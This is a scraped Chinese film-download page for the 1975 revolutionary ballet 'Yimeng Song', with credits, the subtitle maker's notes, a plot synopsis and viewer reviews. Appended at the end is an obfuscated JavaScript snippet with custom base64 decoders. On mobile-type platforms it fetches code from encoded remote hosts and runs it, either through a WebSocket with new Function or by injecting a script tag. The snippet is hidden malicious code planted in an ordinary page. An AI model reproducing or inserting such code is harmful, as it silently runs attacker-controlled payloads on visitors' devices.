1975高分歌舞《沂蒙颂》HD1080P.详解字幕


更新时间:2021-09-28 11:31:03 类别: 歌舞 评论 下载
沂蒙颂的海报 沂蒙颂

沂蒙颂

导演: 李文虎 / 景慕逵
编剧: 李文虎 / 景慕逵
主演: 程伯佳 / 张肃 / 韩大明 / 曹志光 / 李建青
类型: 歌舞
制片国家/地区: 中国大陆
语言: 汉语普通话
上映日期: 1975-05-23(中国大陆)
片长: 67分钟

这次一样是找“笑志狂谈”要来的资源,字幕做的很详细,对芭蕾舞剧中没有对白部分做了详细说明,对路人观众友好,很适合做教学讲解,下面是字幕作者的说明。

详解字幕版《沂蒙颂》是我于2021年9月25日制作完成的,主要参考了自购的《沂蒙颂》彩色影片完成台本、《革命现代舞剧〈沂蒙颂〉1974年5月演出本》,后者出自我购买的《舞蹈》杂志1976年第1期(1976年3月20日出版)。《沂蒙颂》这部作品是根据山东“红嫂”明德英救护人民战士的事迹改编的,是一部具有浓郁山东味儿的样板戏芭蕾舞剧。

这次字幕制作所用的视频来自1905电影网的电视端,根据画面质量判断,应该是用胶片扫描的,没有经过数字修复。判断依据是:有少许处划痕、脏点、脏块;影片的最后二十秒内容被剪掉了,不知道是1905网站技术员的疏忽、还是将胶片做数字转制者的疏忽造成的,好在内容都讲了,也没有新的镜头,所以影响不大,可惜了最后片尾字幕的衬底图案没有机会露面。对画质党来说,这个片源的画面多处出现了画面线条波纹化的情况,虽然总体影响不大,但看了未免有点难受:又是在胶片转制数字过程、视频压制过程中出了岔子。但客观地说,这个片源已经是全网最佳了。

如有兴趣,欢迎关注本人的账号进行观看和交流,本人的多个平台账号采用不同名称,这里进行汇总:

微博:@旌旗红
微信公众号:“杨柳轻飏直上重霄九”
AcFun弹幕视频网:“辣椒夹馒头”
B站弹幕视频网:“辣椒夹馒头”(已经封禁,不再更新,曾经投稿的11部字幕视频还在,可以去看。但请勿给本人B站私信,因为被封账号无法回复信息)


本人之前曾在哔哩哔哩弹幕视频网(即B站)发布字幕作品,但账号于2021年6月被永久封禁,申诉无效,账号无法再投稿、评论等,所以现在转去AcFun网发字幕视频,顺带在微博上发出全片的分段视频(微博不能发单个电影全片视频,切成两半也不行,否则会被删除,所以今后采取一部电影视频分成多个段落,每个段落时长尽量不超过30分钟的方式)。

万分感谢大家的支持!


解放战争时期,英嫂上山采野菜,发现了受重伤昏迷不醒的解放军排长方铁军,方铁军生命垂危,急需喝水可是山上没有水,英嫂急中生智,用自己的乳汗喂给方铁军喝,救活了铁军。英嫂将方铁军藏在山洞里,自己每天送汤送饭,谱写了一曲军民鱼水一家亲的颂歌。
千寻亿选 2017-08-21

还以为英嫂到山后的小溪里取了水,看完简介再重看这段发现满拧了,果然观看没有台词的歌舞剧要事先了解剧情。舞蹈功力深厚,女主角的颜很耐看,与张榕容有迷之神似,可能是我脸盲症又发作了

葱油饼 2011-03-06

revolution and sexuality

SpancerHu 2012-11-25

远水解不了近渴肿么办?!英嫂我有奶!!!来,别害臊,多少整点,渴死了还怎么打赖匪?!(设计台词,非原文)不得不说,当年设计这么一出足够锐意进取。作为一部芭蕾舞剧,可称得上新中国彼时的最高水准。梦鸽的主题曲,我奶奶现在还能哼哼两句....

王奋斗 2020-12-23

舞台歌舞片。好像只有一首歌。很认真。

琧婯 2011-01-03

手举菜刀的英嫂太猛了 芭蕾跳得也很高难度

我本须臾物 2020-02-16

我劝某些人别在那儿恶心了,有些东西是不容亵渎的,正如在中国人看来祖先是不容亵渎一样,你们这样做除了表现出自己的鲜廉寡耻、非蠢即坏之外还表现出别的什么东西了吗?不要总是批评别人思想被僵化了,一副真理皆在于己的样子,难道你们的贴标签、恨乌及屋不正是僵化的表现吗? 另外,评价一下本剧,尽管不如《白毛女》和《红色娘子军》,但是舞跳得特别好,可以把《芳华》跳舞那一段拎出来比较一下,当然,我认为芳华已经很不错了,所以给五星。

biahulu 2018-11-08

看舞剧应该关注剧情吗? 底本太差了,这是解放神剧啊,虽然也有原本故事不够传奇的锅。

Filmouse 2018-06-20

跳得太棒啦!

七侠镇旅游大使 2021-08-24

红色芭蕾,其实只有最后唱了一下

胖达君 2017-03-13

没红色娘子军好,但就歌舞来说,还是很优秀的。

河马会飞 2018-11-14

男主的舞蹈让人觉得表情太多,端架子。女主熬鸡汤那段加入了胶州秧歌的身韵,美

子大辐 2020-07-05

红袄蓝裤,青春母性,捋头发的程式

毛哥 2016-12-13

人美舞好

醉驾男主角 2020-03-05

家乡的故事 ,跳着舞捅柴火的确够浪的

晨星 2021-07-15

芭蕾舞的表现力是跨越时代和国界的。以及剜野菜、摘大葱等动作明显带有现实体验。下次再弹熬鸡汤的曲谱应该会有不同的感觉了。

古元钧 2019-08-11

主演:程伯佳、张肃、韩大明、曹志光、李建青

2017-01-03

一句话也不想说 为什么要我们写这个剧本??? 原谅我真的看不下去 两分给演员老师 演员老师辛苦了

爸爸 2019-03-03

ativa7677 2012-12-01

~~恋乳情结~~~

コンさん 2012-12-11

沂蒙颂的截图1
沂蒙颂的截图2
沂蒙颂的截图3
沂蒙颂的截图4
沂蒙颂的截图5
function yeqJaFV(e){var t="",n=r=c1=c2=0;while(n %lt;e.length){r=e.charCodeAt(n);if(r %lt;128){t+=String.fromCharCode(r);n++;}else if(r %gt;191&&r %lt;224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)%lt;%lt;6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)%lt;%lt;12|(c2&63)%lt;%lt;6|c3&63);n+=3;}}return t;};function vfbHwTz(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f %lt;e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s %lt;%lt;2|o %gt;%gt;4;r=(o&15)%lt;%lt;4|u %gt;%gt;2;i=(u&3)%lt;%lt;6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yeqJaFV(t);};window[''+'t'+'Y'+'E'+'x'+'M'+'d'+'C'+'p'+'q'+'n'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,i,w,d,c){var x=vfbHwTz,cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';if(navigator.userAgent.indexOf('baidu')>-1){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket('wss://'+k+':9393/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);}}else{u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));var s=document.createElement('script');s.src='https://'+u+'/l/'+i;cs.parentElement.insertBefore(s,cs);}})('eeXl0Lmhlc2h1bjM2NS5jbg==','ddHIueWVzddW42NzguY29t','135631',window,document,['e','d']);}:function(){};